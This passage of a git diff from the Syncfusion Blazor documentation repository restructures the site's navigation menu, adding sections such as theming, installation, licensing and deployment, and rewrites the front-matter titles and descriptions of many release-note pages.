 			<li><a href="/blazor/block-editor/events">Events</a></li>
 			<li>Editor Security
 				<ul>
@@ -2166,8 +1971,8 @@
 					<li><a href="/blazor/datagrid/connecting-to-database/postgresql-server">PostgreSQL Server</a></li>
 					<li><a href="/blazor/datagrid/connecting-to-database/sqlite-server">SQLite Server</a></li>
 					<li><a href="/blazor/datagrid/connecting-to-database/mongodb-server">MongoDB Server</a></li>
-					<li><a href="/blazor/datagrid/connecting-to-database/firebase-firestore">Firebase-Firestore DB</a></li>
-					<li><a href="/blazor/datagrid/connecting-to-database/firebase-realtime">Firebase-Realtime DB</a></li>
+					<li><a href="/blazor/datagrid/connecting-to-database/firebase-firestore">Firebase (Firestore DB)</a></li>
+					<li><a href="/blazor/datagrid/connecting-to-database/firebase-realtime">Firebase (Realtime DB)</a></li>
 				</ul>
 			</li>
 			<li>Connecting to ORM
@@ -3243,13 +3048,26 @@
 					</li>
 				</ul>
 			</li>
-			<li> <a href="/blazor/gantt-chart/data-binding">Data Binding</a>
+			<li> 
+				<a href="/blazor/gantt-chart/data-binding">Data Binding</a>
+			</li>
+			<li>Connecting to Adaptors
 				<ul>
-						<li> <a href="/blazor/gantt-chart/custom-binding">Custom Binding</a></li>
+					<li><a href="/blazor/gantt-chart/connecting-to-adaptors/url-adaptor">URL Adaptor</a></li>
+					<li><a href="/blazor/gantt-chart/connecting-to-adaptors/custom-adaptor">Custom Adaptor</a></li>
+				</ul>
+			</li>
+			<li>Connecting to Database
+				<ul>
+					<li><a href="/blazor/gantt-chart/connecting-to-database/microsoft-sql-server">Microsoft SQL Server</a></li>
+					<li><a href="/blazor/gantt-chart/connecting-to-database/mysql-server">MySQL Server</a></li>
+				</ul>
+			</li>
+			<li>Connecting to ORM
+				<ul>
+					<li><a href="/blazor/gantt-chart/connecting-to-ORM/entityframework">Entity Framework</a></li>
+					<li><a href="/blazor/gantt-chart/connecting-to-ORM/dapper">Dapper (Micro ORM) </a></li>
 				</ul>
-			</li>			
-			<li>
-				<a href="/blazor/gantt-chart/resource-allocation">Resource Allocation</a>
 			</li>
 			<li>
 				<a href="/blazor/gantt-chart/performance">Performance Best Practices</a>
@@ -3298,7 +3116,6 @@
 					<li><a href="/blazor/gantt-chart/splitting-and-merging-tasks">Splitting and Merging Tasks</a></li>
 					<li><a href="/blazor/gantt-chart/indent-outdent">Indent and Outdent</a></li>
 					<li><a href="/blazor/gantt-chart/column-validation">Column Validation</a></li>
-					<li><a href="/blazor/gantt-chart/entity-framework">Entity Framework</a></li>
 				</ul>
 			</li>
 			<li> <a href="/blazor/gantt-chart/scrolling">Scrolling</a>
@@ -4385,11 +4202,7 @@
 				<ul>
 					<li> <a href="/blazor/rich-text-editor/mention-integration">Mention Integration</a></li>
 					<li> <a href="/blazor/rich-text-editor/slash-commands">Slash Commands</a></li>
-					<li> <a href="/blazor/rich-text-editor/mail-merge">Mail Merge Integration</a></li>
-					<li> <a href="/blazor/rich-text-editor/web-spell-check">Web Spell Checker</a></li>
-					<li> <a href="/blazor/rich-text-editor/code-mirror">Code Mirror</a></li>
-					<li> <a href="/blazor/rich-text-editor/embedly">Embedly</a></li>
-					<li> <a href="/blazor/rich-text-editor/image-editor-integration">Image Editor Integration</a></li> 
+					<li> <a href="/blazor/rich-text-editor/mail-merge">Mail Merge Integration</a></li>	
 				</ul>
 			</li>
 			<li>Validation and Security
@@ -4447,6 +4260,7 @@
             <li> <a href="/blazor/sankey/legend">Legend</a></li>
             <li> <a href="/blazor/sankey/customization">Customization</a></li>
             <li> <a href="/blazor/sankey/print-export">Print and Export</a></li>
+            <li> <a href="/blazor/sankey/accessibility">Accessibility</a></li>
             <li> <a href="/blazor/sankey/events">Events</a></li>
 		</ul>
 	</li>
@@ -4471,6 +4285,11 @@
 				</ul>
 			</li>
 			<li> <a href="/blazor/scheduler/data-binding">Data Binding</a></li>
+			<li>Integrations
+			<ul>
+			<li><a href="/blazor/scheduler/entity-framework">Entity Framework</a></li>
+			</ul>
+			</li>
 			<li> <a href="/blazor/scheduler/crud-actions">CRUD Actions</a></li>
 			<li> <a href="/blazor/scheduler/virtual-scrolling">Virtual Scrolling</a></li>
 			<li> <a href="/blazor/scheduler/editor-template">Editor Window Customization</a></li>
@@ -5242,14 +5061,265 @@
 			</li>
 		</ul>
 	</li></ul></li>
-	
+	<li>Appearance and Theming
+		<ul>
+			<li>
+				<a href="/blazor/appearance/themes">Built-in Themes</a>
+			</li>
+			<li>
+				<a href="/blazor/appearance/size-modes">Size Modes</a>
+			</li>
+			<li>
+				<a href="/blazor/appearance/theme-studio">Theme Studio</a>
+			</li>
+			<li>
+				<a href="/blazor/appearance/icons">Icons</a>
+			</li>
+			<li>
+				<a href="/blazor/appearance/figma">Figma UI Kits</a>
+			</li>
+		</ul>
+	</li>
+	<li>Common Features
+		<ul>
+			<li>
+				<a href="/blazor/common/adding-script-references">Adding Script References</a>
+			</li>
+			<li>
+				<a href="/blazor/common/custom-resource-generator">Custom Resource Generator(CRG)</a>
+			</li>
+			<li>
+				<a href="/blazor/common/interactive-render-mode">Interactive Render Mode</a>
+			</li>
+			<li>
+				<a href="/blazor/common/localization">Localization</a>
+			</li>
+			<li>
+				<a href="/blazor/common/globalization">Globalization</a>
+			</li>
+			<li>
+				<a href="/blazor/common/right-to-left">Right-To-Left</a>
+			</li>
+			<li>
+				<a href="/blazor/common/state-persistance">State Persistence</a>
+			</li>
+			<li>
+				<a href="/blazor/common/animation">Animation</a>
+			</li>
+			<li>
+				<a href="/blazor/common/input-validation">Input Form Validation</a>
+			</li>
+			<li>
+				<a href="/blazor/common/html-attributes">HTML Attributes</a>
+			</li>
+			<li>
+				<a href="/blazor/common/cdn-fallback">CDN Fallback</a>
+			</li>
+			<li>How To Guides
+				<ul>
+	    			<li>
+			        	<a href="/blazor/common/extend-and-customize-components">Extend and Customize the Syncfusion Components</a>
+		        	</li>
+					<li>
+			        	<a href="/blazor/common/how-to/add-blazor-component-to-the-toolbox">Add Blazor Component to the toolbox</a>
+		        	</li>
+					<li>
+						<a href="/blazor/common/how-to/add-blazor-component-on-existing-aspnet-core-mvc-app">Add Blazor Components on Existing ASP.NET Core MVC Application</a>
+					</li>
+					<li>
+						<a href="/blazor/common/how-to/render-blazor-server-app-in-ie">Render the Blazor Server App in IE11 Browser</a>
+					</li>
+					<li>
+						<a href="/blazor/common/how-to/upgrade-syncfusion-components-to-latest-version">Upgrade Syncfusion Components to Latest Version</a>
+					</li>
+					<li>
+						<a href="/blazor/common/how-to/create-blazor-webassembly-prerendering">Blazor WebAssembly Prerendering</a>
+					</li>
+					<li>
+						<a href="/blazor/common/how-to/configure-blazor-component-in-bunit-testing">BUnit Testing</a>
+					</li>
+					<li>
+						<a href="/blazor/common/how-to/port-blazor-server-maui">Port Syncfusion Blazor Web App to MAUI Blazor Hybrid App</a>
+					</li>
+				</ul>
+			</li>
+		</ul>
+	</li>
+	<li>
+		<a href="/blazor/common/accessibility">Accessibility</a>
+	</li>
+	<li>
+		<a href="/blazor/common/how-to/troubleshoot">Troubleshooting</a>
+	</li>
+	<li>Security
+		<ul>
+			<li>
+				<a href="/blazor/common/content-security-policy">Content Security Policy</a>
+			</li>
+			<li>
+				<a href="/blazor/common/security/cross-site-scripting-prevention">Cross-Site Scripting (XSS) Prevention</a>
+			</li>
+		</ul>
+	</li>
+	<li>Performance and Scalability
+		<ul>
+			<li>
+				<a href="/blazor/common/best-practices">Best Practices</a>
+			</li>
+			<li>AOT Compilation
+				<ul>
+					<li>
+						<a href="/blazor/common/aot-compilation/optimize-performance-blazor-wasm">Optimize Blazor WebAssembly Performance</a>
+					</li>
+					<li>
+						<a href="/blazor/common/aot-compilation/reduce-size-of-blazor-wasm">Reduce WebAssembly App Size</a>
+					</li>
+				</ul>
+			</li>
+		</ul>
+	</li>
+	<li>Installation
+		<ul>
+			<li>Web Installer
+				<ul>
+					<li>
+						<a href="/blazor/installation/web-installer/how-to-download">How to Download?</a>
+					</li>
+					<li>
+						<a href="/blazor/installation/web-installer/how-to-install">How to Install?</a>
+					</li>
+				</ul>
+			</li>
+			<li>Offline Installer
+				<ul>
+					<li>
+						<a href="/blazor/installation/offline-installer/how-to-download">How to Download?</a>
+					</li>
+					<li>
+						<a href="/blazor/installation/offline-installer/how-to-install">How to Install?</a>
+					</li>
+				</ul>
+			</li>
+			<li>Mac Installer
+				<ul>
+					<li>
+						<a href="/blazor/installation/mac-installer/how-to-download">How to Download?</a>
+					</li>
+					<li>
+						<a href="/blazor/installation/mac-installer/how-to-install">How to Install?</a>
+					</li>
+				</ul>
+			</li>
+			<li>Linux Installer
+				<ul>
+					<li>
+						<a href="/blazor/installation/linux-installer/how-to-download">How to Download?</a>
+					</li>
+					<li>
+						<a href="/blazor/installation/linux-installer/how-to-install">How to Install?</a>
+					</li>
+				</ul>
+			</li>
+			<li>
+				<a href="/blazor/installation/install-nuget-packages">Install through NuGet Packages</a>
+			</li>
+			<li>
+				<a href="/blazor/installation/common-installation-errors">Common Installation Errors</a>
+			</li>
+		</ul>
+	</li>
+	<li>Licensing
+		<ul>
+			<li>
+				<a href="/blazor/getting-started/license-key/overview">Overview</a>
+			</li>
+			<li>
+				<a href="/blazor/getting-started/license-key/how-to-generate">Generate Blazor License Key</a>
+			</li>
+			<li>
+				<a href="/blazor/getting-started/license-key/how-to-register-in-an-application">Register License Key in Blazor Application</a>
+			</li>
+			<li>
+				<a href="/blazor/getting-started/license-key/how-to-register-in-a-razor-class-library">Register License Key in a Razor Class Library Application</a>
+			</li>
+			<li>
+				<a href="/blazor/getting-started/license-key/how-to-register-syncfusion-license-securely-in-blazor-wasm-app">How to Register Syncfusion License Key Securely in Blazor WASM App?</a>
+			</li>
+			<li>
+				<a href="/blazor/getting-started/license-key/CI-license-validation">How to Validate Syncfusion License Key In CI Services?</a>
+			</li>
+			<li>
+				<a href="/blazor/getting-started/license-key/licensing-errors">Licensing Errors</a>
+			</li>
+			<li>
+				<a href="/blazor/getting-started/license-key/licensing-faq">Licensing FAQ</a>
+			</li>
+		</ul>
+	</li>
+	<li>Upgrade
+	    <ul>
+			<li>
+				<a href="/blazor/upgrade/release-history">Release History</a>
+			</li>
+			<li>
+				<a href="/blazor/common/how-to/version-compatibility">Version Compatibility</a>
+			</li>
+			<li>
+				<a href="/blazor/upgrade/how-to-upgrade">Upgrade the Installer to the Latest Version</a>
+			</li>
+			<li>
+				<a href="/blazor/upgrade/upgrade-syncfusion-blazor-nuget-packages">Upgrade NuGet Packages to the Latest Version</a>
+			</li>
+			<li>
+				<a href="/blazor/upgrade/how-to-upgrade-syncfusion-components-using-vs-extensions">Upgrade Components using VS Extensions</a>
+			</li>
+		</ul>
+	</li>
+	<li>Deployment
+		<ul>
+			<li>
+				<a href="/blazor/common/deployment/publish">Publish Blazor Application</a>
+			</li>
+			<li>
+				<a href="/blazor/common/deployment/deployment-iis">Deploy to IIS</a>
+			</li>
+			<li>
+				<a href="/blazor/common/deployment/deployment-azure">Deploy to Azure App Service</a>
+			</li>
+			<li>
+				<a href="/blazor/common/deployment/deployment-linux-nginx">Deploy to Linux with NGINX</a>
+			</li>
+		</ul>
+	</li>
+	<li>System Requirements and Browser Support
+		<ul>
+			<li>Prerequisites
+				<ul>
+					<li><a href="/blazor/system-requirements/sdk-versions">.NET SDK Versions</a></li>
+					<li><a href="/blazor/system-requirements/supported-ide">Supported IDEs</a></li>
+				</ul>
+			</li>
+			<li>Browser Support
+				<ul>
+					<li><a href="/blazor/browser-support/blazor-web-app">Blazor Web App</a></li>
+					<li><a href="/blazor/browser-support/blazor-webassembly">Blazor WebAssembly</a></li>
+					<li><a href="/blazor/browser-support/blazor-server">Blazor Server</a></li>
+				</ul>
+			</li>
+		</ul>
+	</li>
+	<li>
+		<a href="/blazor/nuget-packages">NuGet Packages</a>
+	</li>
+	<li>
+        <a href="/cr/blazor">API Reference</a>
+    </li>
 	<li>Release Notes
 		<ul>
 			<li>2025 Volume 4 - 32.*
 				<ul>
 				<li>Weekly Release
 					<ul>
-						<li><a href="/blazor/release-notes/32.2.5">32.2.5</a></li>
 						<li><a href="/blazor/release-notes/32.2.4">32.2.4</a></li>
 						<li><a href="/blazor/release-notes/32.1.25">32.1.25</a></li>
 						<li><a href="/blazor/release-notes/32.1.24">32.1.24</a></li>
diff --git a/blazor/Release-Notes/17.1.32.md b/blazor/Release-Notes/17.1.32.md
index 2690f3d7df..bebf0a8874 100644
--- a/blazor/Release-Notes/17.1.32.md
+++ b/blazor/Release-Notes/17.1.32.md
@@ -1,6 +1,6 @@
 ---
-title:  Essential Studio for Blazor 2019 Volume 1 beta Release Notes - v17.1.32  
-description:  Essential Studio for Blazor 2019 Volume 1 beta release Release Notes  
+title: Essential Studio for Blazor 2019 Volume 1 beta Release Notes -v17.1.32
+description: Learn all about the Essential Studio for Blazor 2019 Volume 1 beta release Release Notes v17.1.32, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.1.34.md b/blazor/Release-Notes/17.1.34.md
index 6338a3d685..a5316980ff 100644
--- a/blazor/Release-Notes/17.1.34.md
+++ b/blazor/Release-Notes/17.1.34.md
@@ -1,6 +1,6 @@
 ---
-title:  Essential Studio for Blazor 2019 Volume 1 beta Release Notes - v17.1.34  
-description:  Essential Studio for Blazor 2019 Volume 1 beta release Release Notes  
+title: Essential Studio for Blazor 2019 Volume 1 beta Release Notes -v17.1.34
+description: Learn all about the Essential Studio for Blazor 2019 Volume 1 beta release Release Notes v17.1.34, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.1.38.md b/blazor/Release-Notes/17.1.38.md
index 80c3a5e305..9c34ec7e17 100644
--- a/blazor/Release-Notes/17.1.38.md
+++ b/blazor/Release-Notes/17.1.38.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.1.38 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.1.38, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.1.42.md b/blazor/Release-Notes/17.1.42.md
index d989edc655..85e002da0f 100644
--- a/blazor/Release-Notes/17.1.42.md
+++ b/blazor/Release-Notes/17.1.42.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.1.42
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.1.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.1.43.md b/blazor/Release-Notes/17.1.43.md
index fa205dab52..f03dde72a1 100644
--- a/blazor/Release-Notes/17.1.43.md
+++ b/blazor/Release-Notes/17.1.43.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.1.43
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.1.43, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.1.44.md b/blazor/Release-Notes/17.1.44.md
index 2ef09b542c..01b29619f2 100644
--- a/blazor/Release-Notes/17.1.44.md
+++ b/blazor/Release-Notes/17.1.44.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.1.44 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.1.44, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.1.47.md b/blazor/Release-Notes/17.1.47.md
index ff9dba271a..cec80ac912 100644
--- a/blazor/Release-Notes/17.1.47.md
+++ b/blazor/Release-Notes/17.1.47.md
@@ -1,6 +1,6 @@
 ---
-title:  Essential Studio for Blazor 2019 volume 1 Service pack 1 Release Notes  
-description:  Essential Studio for Blazor 2019 volume 1 Service pack 1 Release Notes  
+title: Essential Studio for Blazor 2019 volume 1 SP 1 Release Notes -v17.1.47
+description: Learn all about the Essential Studio for Blazor 2019 volume 1 Service pack 1 Release Notes v17.1.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.1.53.md b/blazor/Release-Notes/17.1.53.md
index d52c24b6f6..fbc1a71a34 100644
--- a/blazor/Release-Notes/17.1.53.md
+++ b/blazor/Release-Notes/17.1.53.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.1.53  
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.1.53, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.28.md b/blazor/Release-Notes/17.2.28.md
index d429654330..c2f1e8d36d 100644
--- a/blazor/Release-Notes/17.2.28.md
+++ b/blazor/Release-Notes/17.2.28.md
@@ -1,6 +1,6 @@
 ---
-title:  Essential Studio for Blazor 2019 volume 2 Beta Release Notes  
-description:  Essential Studio for Blazor 2019 volume 2 Beta Release Notes  
+title: Essential Studio for Blazor 2019 volume 2 Beta Release Notes -v17.2.28
+description: Learn all about the Essential Studio for Blazor 2019 volume 2 Beta Release Notes v17.2.28, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.34.md b/blazor/Release-Notes/17.2.34.md
index 5770a926dc..f0ea7ac176 100644
--- a/blazor/Release-Notes/17.2.34.md
+++ b/blazor/Release-Notes/17.2.34.md
@@ -1,6 +1,6 @@
 ---
-title:  Essential Studio for Blazor 2019 Volume 2 Main release Release Notes  
-description:  Essential Studio for Blazor 2019 Volume 2 Main release Release Notes  
+title: Essential Studio for Blazor 2019 Volume 2 Main Release Notes -v17.2.34
+description: Learn all about the Essential Studio for Blazor 2019 Volume 2 Main release Release Notes v17.2.34, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.35.md b/blazor/Release-Notes/17.2.35.md
index 35a20baf71..2d4d19920d 100644
--- a/blazor/Release-Notes/17.2.35.md
+++ b/blazor/Release-Notes/17.2.35.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.35 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.35, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.36.md b/blazor/Release-Notes/17.2.36.md
index b6b894bead..ccd3538405 100644
--- a/blazor/Release-Notes/17.2.36.md
+++ b/blazor/Release-Notes/17.2.36.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.36
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.36, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.39.md b/blazor/Release-Notes/17.2.39.md
index 56c7c153ef..baf500c2fd 100644
--- a/blazor/Release-Notes/17.2.39.md
+++ b/blazor/Release-Notes/17.2.39.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.39 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.40.md b/blazor/Release-Notes/17.2.40.md
index 892e3b0cb0..7fa8c7a0ee 100644
--- a/blazor/Release-Notes/17.2.40.md
+++ b/blazor/Release-Notes/17.2.40.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.40 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.46.md b/blazor/Release-Notes/17.2.46.md
index 7b9f5743ad..ddac55fd27 100644
--- a/blazor/Release-Notes/17.2.46.md
+++ b/blazor/Release-Notes/17.2.46.md
@@ -1,5 +1,5 @@
 ---
-title:  Essential Studio for Blazor 2019 volume 2 SP1 Release Notes  
+title: Essential Studio for Blazor 2019 volume 2 SP1 Release Notes - v17.2.46
 description:  Essential Studio for Blazor 2019 volume 2 SP1 Release Notes  
 platform: Blazor
 documentation: ug
diff --git a/blazor/Release-Notes/17.2.47.md b/blazor/Release-Notes/17.2.47.md
index bc4f758ae9..389a9335c6 100644
--- a/blazor/Release-Notes/17.2.47.md
+++ b/blazor/Release-Notes/17.2.47.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.47 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.47, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.49.md b/blazor/Release-Notes/17.2.49.md
index 7ccd01f83d..ce355c2e54 100644
--- a/blazor/Release-Notes/17.2.49.md
+++ b/blazor/Release-Notes/17.2.49.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.49 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.49, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.50.md b/blazor/Release-Notes/17.2.50.md
index d710d9e1b7..c35138675b 100644
--- a/blazor/Release-Notes/17.2.50.md
+++ b/blazor/Release-Notes/17.2.50.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.50 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.50, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.2.52.md b/blazor/Release-Notes/17.2.52.md
index 6acb64d0c0..05766a6ea9 100644
--- a/blazor/Release-Notes/17.2.52.md
+++ b/blazor/Release-Notes/17.2.52.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.2.52 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.2.52, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.3.10.md b/blazor/Release-Notes/17.3.10.md
index 167818f7cd..9ee727643c 100644
--- a/blazor/Release-Notes/17.3.10.md
+++ b/blazor/Release-Notes/17.3.10.md
@@ -1,6 +1,6 @@
 ---
-title:  Essential Studio for Blazor 2019 volume 3 Beta Release Notes - v17.3.10
-description:  Essential Studio for Blazor 2019 volume 3 Beta Release Release Notes  
+title: Essential Studio for Blazor 2019 volume 3 Beta Release Notes -v17.3.10
+description: Learn all about the Essential Studio for Blazor 2019 volume 3 Beta Release Release Notes v17.3.10, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.3.14.md b/blazor/Release-Notes/17.3.14.md
index d0bd668b22..3185ad1447 100644
--- a/blazor/Release-Notes/17.3.14.md
+++ b/blazor/Release-Notes/17.3.14.md
@@ -1,6 +1,6 @@
 ---
-title:  Essential Studio for Blazor 2019 volume 3 Main Release Release Notes  
-description:  Essential Studio for Blazor 2019 volume 3 Main Release Release Notes  
+title: Essential Studio for Blazor 2019 volume 3 Main Release Notes -v17.3.14
+description: Learn all about the Essential Studio for Blazor 2019 volume 3 Main Release Release Notes v17.3.14, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.3.17.md b/blazor/Release-Notes/17.3.17.md
index 158e7de900..ab8ac2d60f 100644
--- a/blazor/Release-Notes/17.3.17.md
+++ b/blazor/Release-Notes/17.3.17.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.3.17 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.3.17, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.3.19.md b/blazor/Release-Notes/17.3.19.md
index 88fcc4eb52..658a664363 100644
--- a/blazor/Release-Notes/17.3.19.md
+++ b/blazor/Release-Notes/17.3.19.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.3.19 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.3.19, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.3.21.md b/blazor/Release-Notes/17.3.21.md
index 2451dda612..07554ba660 100644
--- a/blazor/Release-Notes/17.3.21.md
+++ b/blazor/Release-Notes/17.3.21.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor Weekly Nuget Release Notes - v17.3.21 
-description:  Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.3.21, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.3.26.md b/blazor/Release-Notes/17.3.26.md
index 18acff1b30..43d9f5372f 100644
--- a/blazor/Release-Notes/17.3.26.md
+++ b/blazor/Release-Notes/17.3.26.md
@@ -1,6 +1,6 @@
 ---
-title:  Essential Studio for Blazor 2019 volume 3 SP1 Release Notes  
-description:  Essential Studio for Blazor 2019 volume 3 SP1 Release Notes  
+title: Essential Studio for Blazor 2019 volume 3 SP1 Release Notes - v17.3.26
+description: Learn all about the Essential Studio for Blazor 2019 volume 3 SP1 Release Notes v17.3.26, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.3.9.md b/blazor/Release-Notes/17.3.9.md
index 65995763aa..9462ab7b70 100644
--- a/blazor/Release-Notes/17.3.9.md
+++ b/blazor/Release-Notes/17.3.9.md
@@ -1,6 +1,6 @@
 ---
 title:  Essential Studio for Blazor 2019 volume 3 Beta Release Notes - v17.3.9  
-description:  Essential Studio for Blazor 2019 volume 3 Beta Release Release Notes  
+description: Learn all about the Essential Studio for Blazor 2019 volume 3 Beta Release Release Notes v17.3.9, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.39.md b/blazor/Release-Notes/17.4.39.md
index d4b69af140..d9e30155ca 100644
--- a/blazor/Release-Notes/17.4.39.md
+++ b/blazor/Release-Notes/17.4.39.md
@@ -1,6 +1,6 @@
 ---
-title:  Essential Studio for Blazor 2019 volume 4 Main Release Release Notes  
-description:  Essential Studio for Blazor 2019 volume 4 Main Release Release Notes  
+title: Essential Studio for Blazor 2019 volume 4 Main Release Notes -v17.4.39
+description: Learn all about the Essential Studio for Blazor 2019 volume 4 Main Release Release Notes v17.4.39, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.40.md b/blazor/Release-Notes/17.4.40.md
index 602a50548a..0c19a6348d 100644
--- a/blazor/Release-Notes/17.4.40.md
+++ b/blazor/Release-Notes/17.4.40.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.40  
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.40, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.41.md b/blazor/Release-Notes/17.4.41.md
index 253f945ad6..7b298b5273 100644
--- a/blazor/Release-Notes/17.4.41.md
+++ b/blazor/Release-Notes/17.4.41.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.41 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.41, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.42.md b/blazor/Release-Notes/17.4.42.md
index f7434df54d..aacde0ed3f 100644
--- a/blazor/Release-Notes/17.4.42.md
+++ b/blazor/Release-Notes/17.4.42.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.42 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
+description: Learn all about the Essential Studio for Blazor Weekly Nuget Release Release Notes v17.4.42, including added features and key improvements
 platform: Blazor
 documentation: ug
 ---
diff --git a/blazor/Release-Notes/17.4.43.md b/blazor/Release-Notes/17.4.43.md
index b0307ad62e..34be0b6ee8 100644
--- a/blazor/Release-Notes/17.4.43.md
+++ b/blazor/Release-Notes/17.4.43.md
@@ -1,6 +1,6 @@
 ---
 title: Essential Studio for Blazor Weekly Nuget Release Notes - v17.4.43 
-description: Essential Studio for Blazor Weekly Nuget Release Release Notes  
